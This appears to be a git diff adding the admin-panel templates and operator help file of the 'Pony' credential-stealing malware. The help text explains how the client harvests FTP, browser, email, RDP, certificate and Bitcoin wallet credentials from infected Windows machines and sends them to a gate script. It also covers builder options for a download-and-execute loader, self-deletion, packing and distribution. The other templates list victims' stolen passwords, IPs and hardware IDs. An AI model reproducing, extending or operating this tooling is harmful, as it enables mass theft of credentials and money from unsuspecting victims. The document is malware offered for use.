404 Not Found

${$vars@key\|escape:'html'}	{$vars\|debug_print_var nofilter}

{$vars@key\|escape:'html'}	{$vars\|debug_print_var nofilter}

+{/if} +

diff --git a/panel/includes/templates/help.tpl b/panel/includes/templates/help.tpl new file mode 100644 index 0000000..2fc56de --- /dev/null +++ b/panel/includes/templates/help.tpl @@ -0,0 +1,292 @@ +{if $priv_is_admin || $show_help_to_users} +

Password collection system "Pony"

+
+

Purpose and objectives of the project

+
+

Collection of FTP/HTTP passwords from {(count($module_names)-2)}+ Popular FTP clients and web browsers from infected computers
Collection of E-mail Passwords (POP3, IMAP, SMTP)
Collection of certificates to sign xecutable files and drivers
Collection of RDP passwords (Remote Desktop Connection)
Invisible Application for the user
Minimum size and working time of grabber on the infected computer

+ +

General Information

+ +The project is divided into three separate parts: + +

Client "Pony.exe" - The program that you want to load on the computers, it collects and sends passwords to the server.
Builder (ponybuilder. exe)-a set of programs to create a build client "Pony. exe ". + The build is assembled automatically using the Masm32 compiler, which is included in the kit.
A set of server-side PHP Scripts-the admin panel, as well as the script-gate (gate. php) to which the passwords are sent.

+ +

A non-standard approach is used to collect passwords

+ +When you run the client, Pony. exe automatically collects the passwords and data required for decryption into special container files, called "reports," which are then encrypted to the server where they are processed. +Each report can contain tens and even hundreds of passwords, as well as other auxiliary information. + +

+ +n fact, "Pony. exe " does not contain any decryption algorithms, but only simple functions +Read the file and registry data. + +

+All the work for decrypting passwords takes place on the WEB server. It is not an intensive operation, because +Most of the algorithms are trivial. The server spends less 10ms (0.01 sec) on the average processing +Reports with passwords. +

+ +Positive aspects of this approach.: +

Minimizes size of the downloaded file is "Pony.exe"
Minimizes running time on the infected computer, on average, does not exceed 1 second
If any FTP client has updated only the encryption algorithm, but stores the password files (which is typical for most popular FTP clients) there is no need to re-build and upload it, but just make the appropriate modification in the PHP script.
There is no chance to make an error in the password decryption algorithm and lose FTP, reports on the server can be +re-worked after fixing the bug

+
Negatives:
+

A full-featured configured Web server is required to decrypt passwords, with some specific requirements
Increased traffic to the server, for this purpose the ability to pack reports

+ +

Web Server Requirements

Apache/nginx
PHP 5.2+
MySQL
Required extensions for PHP +
- zlib - library for data compression / decompression using the deflate method
- libxml - library for fast processing of XML files
- mysql - extension for working with MySQL database
- mhash - library with hash algorithms (included in the main assemblyPHP 5.3+)
- mcrypt - Library with encryption algorithms
- gmp - mathematical library for working with large numbers
- iconv, mbstring - extensions for converting multibyte (UTF-8, ...) strings
- gd - graphic library, used to plot graphs
- curl - extension for working with the network
- pcre - library of algorithms for working with regular expressions
- json - library for decoding JSON strings
- zip - library for working with zip archives
+
Optional extensions for PHP +
- sqlite3 - is required as a class (PHP 5.3+), or as a PDO driver (PHP 5.2+), otherwise some passwords will not be decrypted
+

+
+A set of server scripts is not tied to the root folder and can be moved to any of your convenience. +In the working share must create a directory "temp" and give her the right to read, write and execute (chmod 777). +The name of the folder "temp" can be overridden in the settings file "config.php". + +

+Assembly example PHP:
+Configure Command './configure' '--enable-mbstring=all' '--with-zlib' '--with-iconv' '--with-gd' '--with-curl' '--with-pcre-regex' '--with-gmp' '--with-mhash' '--with-mcrypt' '--with-mysql' '--with-libxml-dir' '--prefix=/opt/php' '--with-sqlite3' '--with-freetype-dir' '--enable-gd-native-ttf' '--with-png-dir' '--with-jpeg-dir' '--enable-zip'. + +

Server part (admin)

+ +
Contents of delivery:
+

File "config.php" - contains the basic settings necessary for the correct operation of the PHP scripts admin. + Inside the file, you need to set MySQL server parameters, select a password for decryption of reports, specify + folder for working with temporary files.
File "setup.php" - �crypt of an unattended installation, you must run to initialize the panel + administrator, after which you can delete. + This script creates the necessary MySQL tables, sets the administrator's login and password. + Before starting "setup.php" you should write MySQL server parameters in a file "config.php". + To repeat automatic panel configuration, you must first delete all tables with a prefix + "pony_" from the mysql database.
File "gate.php" - A script-gate that accepts reports with passwords from"Pony.exe".
File "admin.php" - the main control script of the admin panel.
Folder "temp" - folder for working with temporary files and Smarty templates, you need to set the permissions for reading, writing and execution (chmod 777).
Folder "includes" - set of auxiliary files.

+ +

Admin functions

home - general information about the current operation of the server.
FTP list - here you can download or clear lists received FTP/SFTP.
HTTP List - here you can download or purge lists of received HTTP / HTTPS.
Other - here you can download or clear lists of received certificates, RDP, E-mail.
Statistics - the current statistics for the collected data, it is necessary to take into account that cleaning the list of FTP / reports will nullify statistics.
Domains - On this page, you can add backup grabber domains for on-line availability checking.
Logs -Here you can see critical errors and server notifications.
Reports - list of current reports with passwords.
Management - server settings, and account management.
Help - help file.
Exit - complete the work with the admin panel.

+ +

Differentiation of user rights admin

+Users are divided into two types: +

Administrator (admin) - can do absolutely everything: delete / add new users, change server settings (password encryption of reports), change privileges / passwords of other users, clear lists with passwords. There can be only one administrator.
User (user) - depending on the privileges can either only view data (user_view_only), or view and clean FTP / SFTP lists / reports / logs(user_all). The user can change his password. The user will not see the additional functionality available only to the administrator.

+ +

Additional Information

Each report received contains additional information: +
- OS - version of the Windows operating system.
- IP - The IP address of the sender.
- HWID - The unique user ID does not change over time. By this ID, you can find all the reports from a specific computer.
- Privileges -with what rights (User / Admin) the process "Pony.exe" was started.
- Architecture - x86/x64 the architecture of the microprocessor on which the "Pony.exe" process was launched.
- Version -client version "Pony.exe".
+
Clearing the list of reports and FTP / SFTP will reset the statistics (charts and text data).
The same reports with passwords to the database are not imported. If a duplicate is received, a notification will appear in the logs.
Importing reports with passwords through "gate.php" occurs in two phases: +
- The resulting report is imported into the MySQL database. Only with successful import to the database, the gate will return a positive response to the client "Pony.exe" to prevent sending passwords to the following (backup) domains.
- The report is processed (parsed), after which the found FTP is added to the database, and the report is written as "processed".
+ The report is processed (parsed), after which the found FTP is added to the database, and the report is written as "processed".the maximum runtime of the script is exceeded), or when parsing the script crashed with a critical error. + In any case, the report will not be lost.
If the system is used by several users, you need to log in under different accounts, otherwise the authorization window will pop up all the time.
After clearing the lists, the data in the MySQL database is not always physically deleted (especially for logs), so you need to periodically start optimizing (compressing) the tables.
Optimization (compression) of MySQL tables is better done when there is no heavy load on the database, i.e. client "Pony.exe" does not send active passwords.

+ +

Builder "PonyBuilder.exe"

+ +The task of the builder is to configure and compile the "Pony.exe" client, which must be downloaded to infected computers.
+
+Contents of delivery:
+

Folder "masm32" - Microsoft Macro Assembler compiler (MASM).
Folder "PonySrc" - source code in the MASM language of the client program (grabber) "Pony.exe".
Folder "BuilderSrc" - source code in Delphi 7 of the auxiliary program-builder"PonyBuilder.exe".
File "PonyBuilder.exe" - program-builder for the client"Pony.exe".
File "Help.txt" - help file.
File "build.bat" - The script used by the builder to compile the build from the source "PonySrc".
File "Pony.ico" - icon attached to "Pony.exe" when compiled, if the appropriate option is selected in the builder.

+
The interface is divided into 4 tabs:

+ +

Builder +
- + The text field "The list of domains for sending passwords" - Here you can register a list of gateways for sending passwords. + Each line is a separate URL, for example:http://somedomain.com/dir/gate.php + You can add an unlimited number of lines (URL), you can add the same URL several times. + A domain can contain information about a connection port, for example: http://privatedomain.com:8080/gate.php. + Protocol https:// currently not supported.
  + "Pony.exe" will try to connect and send a report with passwords on the list if the data is successfully delivered, + the program will immediately exit without trying to connect to the rest of the URL. +
- Button "Select icon" allows you to set the icon for the compiled file, only the format is supported*.ico.
- Button "Create a build" compiles the file "Pony.exe" with the specified settings.
+
Loader +
- + Simple loader (file uploader). After collecting passwords from the specified links(URL) files will be downloaded and started. + URL are set in the same way as the list of domains for sending passwords. + At the bottom of the tab, you can set the following options: +
  - Activate the loader - enable the loader, otherwise the files will not load.
  - Do not run the same files twice - after successfully launching the downloaded file, a check value will be added to the registry + (��) data file, after which, when you reload, the duplicate will not be launched.
  + +
+
Settings +
- In order to see all the settings, you need to activate the option"Show Advanced Settings" in the main menu.
- Compress - compress reports using the aPLib library, adds about 5Kb to the size of the executable file, + well packs text data before sending, highly recommended, greatly reduces traffic + to the server.
- Encrypt - encrypt reports with RC4 algorithm.
- Encryption Password - the password by which reports are encrypted, a similar password must be set in the server settings.
- Save reports to disk (for debugging) - when you start "Pony.exe", after the passwords have been collected, in the same folder + where the executable was launched, the file "out.bin" will be created, it is a container with passwords in the form in which it is sent + to the server for further processing (decryption)
- Send empty reports (for statistics) -usually, if no password is found, the client "Pony.exe" does not send anything + the server will not be, but sometimes it's useful to enable this option to get statistics about the number of successful "Pony.exe".
- Debug Mode - removes the interceptor of exceptions, used solely for debugging purposes.
- Send only new reports - if the option is not activated, then duplicate reports with passwords will not be sent.
- Self-removal - The launched file "Pony.exe" will be deleted after it finishes its work.
- Add icon - attach the selected icon to the file being compiled.
- Pack the build using UPX - compress the executable file "Pony.exe" after compilation.
- Number of attempts to send the report - how many times to try to send a report in case of unsuccessful transmission, it is recommended to specify at least 2 attempts.
- Assembly variant: +
  - Exe-file -normal Windows executable file (*.exe)
  - Dll-file - the build option in the form of a .dll library, it is completely autonomous, for development it is necessary to call from your project only the LoadLibrary () API function, i.e. URL to send passwords + and all settings are stitched into the .dll file itself. In the DllTest folder is a simple example of use-testing, in the same folder you need to put the file Pony.dll, then run the file DllTest.exe, + which in turn calls LoadLibrary () for the .dll library.
  +
- In the list"Available decryption modules"you can exclude from the build unnecessary password decrypters, this will reduce the build size.
+
Skin +
- On this tab, you can select the skin you like (skin) of the builder.
+

+ +

Starting the build from the command line

+The following command line arguments are available:

+

-PACK_REPORT -compress reports
-ENCRYPT_REPORT - encrypt reports, if the encryption password is not set, then by default, "Mesoamerica"
-REPORT_PASSWORD= - encryption password, for example: -REPORT_PASSWORD = Mesoamerica
-SAVE_REPORT - save reports to disk (for debugging)
-ENABLE_DEBUG_MODE - debug mode
-SEND_MODIFIED_ONLY - send only new reports
-SELF_DELETE -activate self-deletion
-SEND_EMPTY_REPORTS - send empty reports
-ADD_ICON - attach an icon from the file Pony.ico
-UPX - pack build using UPX
-DOMAIN_LIST= - a list of domains, each domain should be split using special. character \ n, for example: -DOMAIN_LIST = http: //host.com/gate.php \ nhttp: //host2.com/x/gate.php
-LOADER_LIST= - the URL for the loader (it will be activated automatically if there is a URL), each URL should be divided in the same way as DOMAIN_LIST
-LOADER_EXECUTE_NEW_FILES_ONLY - do not run the same files twice
-DISABLE_MODULE= - exclude a certain decryption module from the build (all module names can be seen in the PonySrc \ FTPClients.asm file), for example:-DISABLE_MODULE=MODULE_OPERA
-DLL_MODE - use the assembly method as a Dll-library
-COLLECT_HTTP - additional collect and HTTP / HTTPS passwords
-COLLECT_EMAIL - additionally collect and E-mail passwords
-UPLOAD_RETRIES=N - number of attempts to send a report (N), if no value is specified, then 2 attempts are used by default

+ +

Client "Pony.exe"

+ +A task "Pony.exe" - collect passwords from the computer and send them to the server for further processing. +

+ +Works on all versions of Windows, starting with Win98, including server. Supported in x86 and x64 mode. +The program normally works at startup with administrator or user rights. +

+ +Before distributing the file, it is desirable to clean and crank it. + +

+Instantly decrypted saved passwords for the following programs: +

{$module_name}

+{else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} +{/if} \ No newline at end of file diff --git a/panel/includes/templates/home.tpl b/panel/includes/templates/home.tpl new file mode 100644 index 0000000..14070ed --- /dev/null +++ b/panel/includes/templates/home.tpl @@ -0,0 +1,87 @@ +

+ +{if ($show_logons_to_users || $priv_is_admin) && !$disable_ip_logger} + {if count($login_list)} +

LAST LOGONS

+ + + + + + + + + + {foreach from=$login_list item=login_item} + + + + + + + {/foreach} + +

Login	IP	Country	Login Time
{$login_item.user}	{$login_item.ip}	{country base_path="includes/design/images/flags/" country_code=$login_item.country_code country_name=$login_item.country_name}	{$login_item.import_time}

+ {/if} +{/if} + +{if $show_domains && ($show_domains_to_users || $priv_is_admin)} + {if count($domain_list)} +

Domains

+ + + + + + {foreach from=$domain_list item=domain_item} + + + + + {/foreach} + +

Domain Name	Status
{$domain_item.url}

+ {/if} +{/if} + + + + + + + + + {if $enable_http_mode && ($show_http_to_users || $priv_is_admin)} + + {/if} + {if $enable_email_mode && ($show_email_to_users || $priv_is_admin)} + + {/if} + {if $show_other_to_users || $priv_is_admin} + + {/if} + {if $show_other_to_users || $priv_is_admin} + + {/if} + + + + + + + + {if $enable_http_mode && ($show_http_to_users || $priv_is_admin)} + + + + {else} + + + + {/if} + + + +

Statistics
Server Time	{$server_time}
FTP/SFTP List	{$total_ftp_items_count+$total_ssh_items_count}
HTTP/HTTPS List	{$total_http_items_count}
E-mail Passwords List	{$total_email_items_count}
Certificates List	{$total_cert_items_count}
Purses List	{$total_wallet_items_count}
RDP List	{$total_rdp_items_count}
Unique Reports	{$total_reports_count}
Duplicates Received	{$report_duplicates}
Reports Not Processed	{$total_nonparsed_reports}
Events in System Logs	{$log_events_count}
Total Size of Reports in the Database	{$total_reports_size\|file_size}
Total Database Size	{$db_size\|file_size}
Added FTP (HTTP) - Last 24 Hours	{$new_ftp_last_24_hours} ({$new_http_last_24_hours})
Added FTP (HTTP) - Last Hour	{$new_ftp_last_hour} ({$new_http_last_hour})
Added FTP (HTTP) - Last 10 Minutes	{$new_ftp_last_10_minutes} ({$new_http_last_10_minutes})
Added FTP in the Last 24 Hours	{$new_ftp_last_24_hours}
Added FTP in the Last Hour	{$new_ftp_last_hour}
Added FTP in the Last 10 Minutes	{$new_ftp_last_10_minutes}
Added Reports in the Last 24 Hours	{$new_reports_last_24_hours}
Added Reports in the Last Hour	{$new_reports_last_hour}
Added Reports in the Last 10 Minutes	{$new_reports_last_10_minutes}

diff --git a/panel/includes/templates/http_list.tpl b/panel/includes/templates/http_list.tpl new file mode 100644 index 0000000..bc6402a --- /dev/null +++ b/panel/includes/templates/http_list.tpl @@ -0,0 +1,201 @@ +{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)} +{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=http"} + +{if {$smarty.request.routine|default:''} == 'confirm_clear_http'} +{assign var='msg' value="Are you sure you want to clear the HTTP list?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=http&routine=clear_http"} +{include file='confirm.tpl'} +{/if} + + {append var="cont_codes" value="Europe" index="EU"} + {append var="cont_codes" value="North America" index="NA"} + {append var="cont_codes" value="South America" index="SA"} + {append var="cont_codes" value="Asia" index="AS"} + {append var="cont_codes" value="Africa" index="AF"} + {append var="cont_codes" value="Oceania" index="OC"} + {append var="cont_codes" value="Antarctic" index="AN"} + {append var="cont_codes" value="Other" index="--"} + + {foreach from=$cont_codes key=continent_code item=continent_name} + {if isset($smarty.request.{"country_"|cat:{$continent_code|lower}})} + {assign var="country_value_set" value="true"} + {/if} + {/foreach} + + {if $smarty.request.filter_include_http|default:'' != '' || $smarty.request.filter_include_https|default:'' != '' || $smarty.request.filter_domains_include|default:'' != '' || $smarty.request.filter_domains_exclude|default:'' != '' || isset($country_value_set) || $smarty.request.filter_date_from|default:'' != '' || $smarty.request.filter_date_to|default:'' != '' || $smarty.request.filter_text|default:'' != ''} +

Attention! The filter mode is activated. Disable.

+ {/if} + + Download HTTP List ({$total_http_items_count} {$total_http_items_count|items})
+ {if $priv_can_delete} + Clear HTTP list
+ {/if} + + Show Filter + {if isset($filtered_items_count)} + {if $filtered_items_count > 0} + (found {$filtered_items_count} {$filtered_items_count|items}, ��) + {else} + (Nothing found) + {/if} + {/if} +
+
+ + + + {if isset($filtered_items_list)} + {assign var="http_list" value=$filtered_items_list} + {/if} + + {if count($http_list)} + {if isset($filtered_items_list)} +

Example of filtered HTTP records

+ + {else} +

Latest HTTP Revenues

+ {/if} + + + + + + + + {foreach from=$http_list item=http_item} + {assign var=img_file value="includes/design/images/modules/"|cat:$http_item.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + + {if strlen($http_item.url) < 60} + + + + + {/foreach} + +

URL	HTTP client	Add time
+ {else} +	+ {/if} + + {if $http_item.report_id != '' && $http_item.report_id != '0'} + + {$http_item.url\|truncate:60:'...':true:false} + + {else} + {$http_item.url\|truncate:60:'...':true:false} + {/if} + +	{$img_url nofilter}{$http_item.ftp_client}	{$http_item.import_time}

+ {else} + {if isset($filtered_items_list)} +

Records matching the filter not found!

+ {else} +

The HTTP list is empty!

+ {/if} + {/if} +{else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} +{/if} \ No newline at end of file diff --git a/panel/includes/templates/log_list.tpl b/panel/includes/templates/log_list.tpl new file mode 100644 index 0000000..e4c679a --- /dev/null +++ b/panel/includes/templates/log_list.tpl @@ -0,0 +1,70 @@ +{if {$smarty.request.routine|default:''} == 'confirm_clear_log'} +{assign var='msg' value="Are you sure you want to clean the system logs?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=log&routine=clear_log"} +{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=log"} +{include file='confirm.tpl'} +{/if} + {if $smarty.request.filter_ip|default:'' != '' || $smarty.request.filter_hwid|default:'' != '' || $smarty.request.filter_notify|default:'' != ''} +

Attention! The filter mode is activated. Disable.

+ {/if} + + Download logs ({$log_events_count} {$log_events_count|items})
+ + {if $priv_can_delete} + Clear Logs ({$total_log_table_size|file_size})
+ {/if} +
+ +
+ + {if count($log_list)} + + + + + + + + {foreach from=$log_list item=log_item} + + {if $log_item.report_id == '' || $log_item.report_id == '0'} + + + {if strlen($log_item.log_line) > 55} + + + + {/foreach} + +

Report	Text	Add time
Open	+ {else} +	+ {/if} + {$log_item.log_line\|truncate:55:'...':true:false} +	{$log_item.import_time}

+ + {if $paginate.page_total gt 1} +

+ {paginate_prev} {paginate_middle link_prefix=" " link_suffix=" |" format="page" prefix="" suffix=""} {paginate_next} +

+ {/if} + {/if} \ No newline at end of file diff --git a/panel/includes/templates/login_form.tpl b/panel/includes/templates/login_form.tpl new file mode 100644 index 0000000..da4a159 --- /dev/null +++ b/panel/includes/templates/login_form.tpl @@ -0,0 +1,19 @@ +

Authorization

+ +

diff --git a/panel/includes/templates/management.tpl b/panel/includes/templates/management.tpl new file mode 100644 index 0000000..8f71882 --- /dev/null +++ b/panel/includes/templates/management.tpl @@ -0,0 +1,168 @@ +{if {$smarty.request.routine|default:''} == 'confirm_delete'} + {if $priv_is_admin} + {assign var='msg' value="Are you sure you want to delete the user? '"|cat:{$smarty.request.username|default:''}|cat:"'?"} + {assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin&routine=delete&user_id="|cat:{$smarty.request.user_id|default:''}} + {assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin"} + {include file='confirm.tpl'} + {else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} + {/if} +{elseif {$smarty.request.routine|default:''} == 'confirm_rebuild_tables'} + {if $priv_is_admin} + {assign var='msg' value="Are you sure you want to re-create the tables and erase all the data?"} + {assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin&routine=rebuild_tables"} + {assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=admin"} + {include file='confirm.tpl'} + {else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} + {/if} +{/if} + +

+ {if $priv_is_admin} + Server Settings
+ Add New User
+ Optimize (compress) MySQL tables
+ Re-create MySQL tables
+ {/if} + Change panel access password
+

+ +{if {$smarty.request.routine|default:''} == 'server_settings_form'} + {if $priv_is_admin} +

Server Settings

+ + +

+ {else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} + {/if} +{elseif {$smarty.request.routine|default:''} == 'change_pass_form'} +

Change access password

+ + +

+{elseif {$smarty.request.routine|default:''} == 'new_user_form'} + {if $priv_is_admin} +

Add User

+ + +

+ {else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} + {/if} +{elseif {$smarty.request.routine|default:''} == 'edit_form'} + {if $priv_is_admin} + {if isset($user_data) && is_array($user_data)} +

Edit data

+ + +

+ {else} + {include file='error.tpl' err_code=''} + {/if} + {else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} + {/if} +{/if} + + +{if $priv_is_admin && count($user_list) > 0} +

Members List

+ + + + + + + {foreach from=$user_list item=user} + + + + + + {/foreach} +

User	Privilege	Actions
{$user.username}	{$user.privileges}	Edit data \| + Remove

+{/if} diff --git a/panel/includes/templates/other.tpl b/panel/includes/templates/other.tpl new file mode 100644 index 0000000..c2de8b0 --- /dev/null +++ b/panel/includes/templates/other.tpl @@ -0,0 +1,102 @@ +{if $show_other_to_users || $priv_is_admin} +{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other"} + +{if {$smarty.request.routine|default:''} == 'confirm_clear_cert'} +{assign var='msg' value="Are you sure you want to clear the list of certificates?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&routine=clear_cert"} +{include file='confirm.tpl'} +{/if} + +{if {$smarty.request.routine|default:''} == 'confirm_clear_wallet'} +{assign var='msg' value="Are you sure you want to clear the list of purses?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&routine=clear_wallet"} +{include file='confirm.tpl'} +{/if} + +{if {$smarty.request.routine|default:''} == 'confirm_clear_email'} +{assign var='msg' value="Are you sure you want to clear the E-mail list?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&routine=clear_email"} +{include file='confirm.tpl'} +{/if} + +{if {$smarty.request.routine|default:''} == 'confirm_clear_rdp'} +{assign var='msg' value="Are you sure you want to clear the RDP list?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=other&routine=clear_rdp"} +{include file='confirm.tpl'} +{/if} + {if $enable_email_mode && ($show_email_to_users || $priv_is_admin)} + Download list E-mail ({$total_email_items_count} {$total_email_items_count|items})
+ Download list E-mail (SMTP only) ({$total_email_smtp_items_count} {$total_email_smtp_items_count|items})
+ {/if} + Download Certificates ({$total_cert_items_count} {$total_cert_items_count|items}{if isset($cert_last_import)}, �� {$cert_last_import}{/if})
+ Download Bitcoin Wallets ({$total_wallet_items_count} {$total_wallet_items_count|items}{if isset($wallet_last_import)}, �� {$wallet_last_import}{/if})
+ Download RDP list ({$total_rdp_items_count} {$total_rdp_items_count|items})
+ {if $priv_can_delete} +
+ {if $enable_email_mode && ($show_email_to_users || $priv_is_admin)} + Clear list E-mail ({$total_email_table_size|file_size})
+ {/if} + Delete certificates ({$total_cert_table_size|file_size})
+ Delete Bitcoin Wallets ({$total_wallet_table_size|file_size})
+ Clear the RDP list
+ {/if} + + {if $enable_email_mode && ($show_email_to_users || $priv_is_admin)} +
+ {if count($email_list)} +

Latest additions E-mail

+ + + + + + + + + + + {foreach from=$email_list item=email_item} + {assign var=img_file value="includes/design/images/modules/"|cat:$email_item.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + + + {if strlen($email_item.email) < 30} + + + {if strlen($email_item.user) < 13} + + + {if strlen($email_item.pass) < 13} + + + + + + {/foreach} +

E-mail address	User	Password	E-mail client	Add time
+ {else} +	+ {/if} + {$email_item.email\|truncate:30:'...':true:false}	+ {else} +	+ {/if} + {$email_item.user\|truncate:13:'...':true:false}	+ {else} +	+ {/if} + {$email_item.pass\|truncate:13:'...':true:false}	{$img_url nofilter}{$email_item.email_client}	{$email_item.import_time}

+ {else} +

-list E-mail is empty!

+ {/if} + {/if} + +{else} + {include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'} +{/if} + diff --git a/panel/includes/templates/report_list.tpl b/panel/includes/templates/report_list.tpl new file mode 100644 index 0000000..d7508ea --- /dev/null +++ b/panel/includes/templates/report_list.tpl @@ -0,0 +1,113 @@ +{if {$smarty.request.routine|default:''} == 'confirm_clear_reports'} +{assign var='msg' value="Are you sure you want to delete all reports?"} +{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports&routine=clear_reports"} +{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=reports"} +{include file='confirm.tpl'} +{/if} + {if $smarty.request.filter_string|default:'' != '' || $smarty.request.filter_ip|default:'' != '' || $smarty.request.filter_hwid|default:'' != '' || $smarty.request.filter_nonparsed|default:'' != '' || $smarty.request.filter_has_passwords|default:'' != ''} +

Attention! The filter mode is activated. Disable.

+ {/if} + + {if $priv_can_delete} + Download all reports ({$total_reports_count} {$total_reports_count|items}, {$total_report_table_size|file_size})
+ Download unprocessed reports ({$total_nonparsed_reports} {$total_nonparsed_reports|items}, {$total_nonparsed_report_size|file_size})
+ Delete all reports ({$total_report_table_size|file_size})
+ {/if} + Show Filter
+
+ + + + {if count($report_list)} + + + + + + + + + + + {foreach from=$report_list item=report_item} + + {if $report_item.report_id == ''} + + {else} + {if $report_item.report_id == '0' || $report_item.report_id == ''} + + {/if} + + + + + + + + {/foreach} + +

Report	IP	Add time	Processed	The size	Passwords
	$report_item.report_id Open	+ {country base_path="includes/design/images/flags/" country_code=$report_item.report_country simple='1'} {$report_item.report_source_ip} +	{$report_item.import_time}	{$report_item.parsed\|yes_no}	{$report_item.report_len\|file_size}	{$report_item.count}

+ + {if $paginate.page_total gt 1} +

+ {paginate_prev} {paginate_middle link_prefix=" " link_suffix=" |" format="page" prefix="" suffix=""} {paginate_next} +

+ {/if} + {/if} \ No newline at end of file diff --git a/panel/includes/templates/stats.tpl b/panel/includes/templates/stats.tpl new file mode 100644 index 0000000..152adc7 --- /dev/null +++ b/panel/includes/templates/stats.tpl @@ -0,0 +1,234 @@ + {* Navigation menu *} + Update

+ +

+ + {* FTP Clients stats *} + {if count($ftp_clients_list)} +

The popularity of FTP clients

+ + + + + + + {assign var="max_ftp_client_list" value=10} + {foreach from=$ftp_clients_list item=ftp_client name=ftp_client_traversal} + {assign var=img_file value="includes/design/images/modules/"|cat:$ftp_client.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + {if $smarty.foreach.ftp_client_traversal.index == $max_ftp_client_list} + {assign var=ftp_clients_extra_data value=true} + + + {elseif $smarty.foreach.ftp_client_traversal.index < $max_ftp_client_list} + {/if} + + + + + {/foreach} +

FTP client	Number of passwords
{$img_url nofilter}{$ftp_client.name}	{$ftp_client.count} ({$ftp_client.percentage}%)

+ {* Show more FTPClients link *} + {if isset($ftp_clients_extra_data)} +

Show All ({count($ftp_clients_list)})

+ {/if} +
+ {/if} + + {* HTTP Clients stats *} + {if $enable_http_mode && ($show_http_to_users || $priv_is_admin)} + {if count($http_clients_list)} +

The popularity of Internet browsers

+ + + + + + + {assign var="max_http_client_list" value=10} + {foreach from=$http_clients_list item=http_client name=http_client_traversal} + {assign var=img_file value="includes/design/images/modules/"|cat:$http_client.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + {if $smarty.foreach.http_client_traversal.index == $max_http_client_list} + {assign var=http_clients_extra_data value=true} + + + {elseif $smarty.foreach.http_client_traversal.index < $max_http_client_list} + {/if} + + + + + {/foreach} +

Browser	Number of passwords
{$img_url nofilter}{$http_client.name}	{$http_client.count} ({$http_client.percentage}%)

+ {* Show more HTTPClients link *} + {if isset($http_clients_extra_data)} +

show all ({count($http_clients_list)})

+ {/if} +
+ {/if} + {/if} + + {if $enable_email_mode && ($show_email_to_users || $priv_is_admin)} + {* E-mail Clients stats *} + {if count($email_clients_list)} +

The popularity of E-mail clients

+ + + + + + + {foreach from=$email_clients_list item=email_client} + + {assign var=img_file value="includes/design/images/modules/"|cat:$email_client.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + + + + {/foreach} +

E-mail client	Number of passwords
{$img_url nofilter}{$email_client.name}	{$email_client.count} ({$email_client.percentage}%)

+
+ {/if} + {/if} + + {* HTTP domain stats *} + {if $enable_http_mode && ($show_http_to_users || $priv_is_admin)} + {if count($http_domain_list)} +

The popularity of HTTP domains

+ + + + + + + {assign var="max_http_domain_list" value=10} + {foreach from=$http_domain_list item=http_domain name=http_domain_traversal} + {assign var=img_url value=" $\"\"$ "} + + {if $smarty.foreach.http_domain_traversal.index == $max_http_domain_list} + {assign var=http_domain_extra_data value=true} + + + {elseif $smarty.foreach.http_domain_traversal.index < $max_http_domain_list} + {/if} + + + + + {/foreach} +

Domain Name	Number of passwords
{$img_url nofilter}{$http_domain.domain}	{$http_domain.count} ({$http_domain.percentage}%)

+ {* Show more HTTPdomains link *} + {if isset($http_domain_extra_data)} +

show all ({count($http_domain_list)})

+ {/if} +
+ {/if} + {/if} + + {* Bitcoin clients stats *} + {if count($bitcoin_clients_list)} +

The popularity of Bitcoin customers

+ + + + + + + {assign var="max_bitcoin_client_list" value=5} + {foreach from=$bitcoin_clients_list item=bitcoin_client name=bitcoin_client_traversal} + {assign var=img_file value="includes/design/images/modules/"|cat:$bitcoin_client.module|cat:".png"} + {if file_exists($img_file)} + {assign var=img_url value=" $\"\"$ "} + {else} + {assign var=img_url value=""} + {/if} + + {if $smarty.foreach.bitcoin_client_traversal.index == $max_bitcoin_client_list} + {assign var=bitcoin_clients_extra_data value=true} + + + {elseif $smarty.foreach.bitcoin_client_traversal.index < $max_bitcoin_client_list} + {/if} + + + + + {/foreach} +

Bitcoin client	Number of wallets
{$img_url nofilter}{$bitcoin_client.name}	{$bitcoin_client.count} ({$bitcoin_client.percentage}%)

+ {* Show more Bitcoin Clients link *} + {if isset($bitcoin_clients_extra_data)} +

show all ({count($bitcoin_clients_list)})

+ {/if} +
+ {/if} + + + {* Country stats *} + {if count($country_list)} +

Country statistics

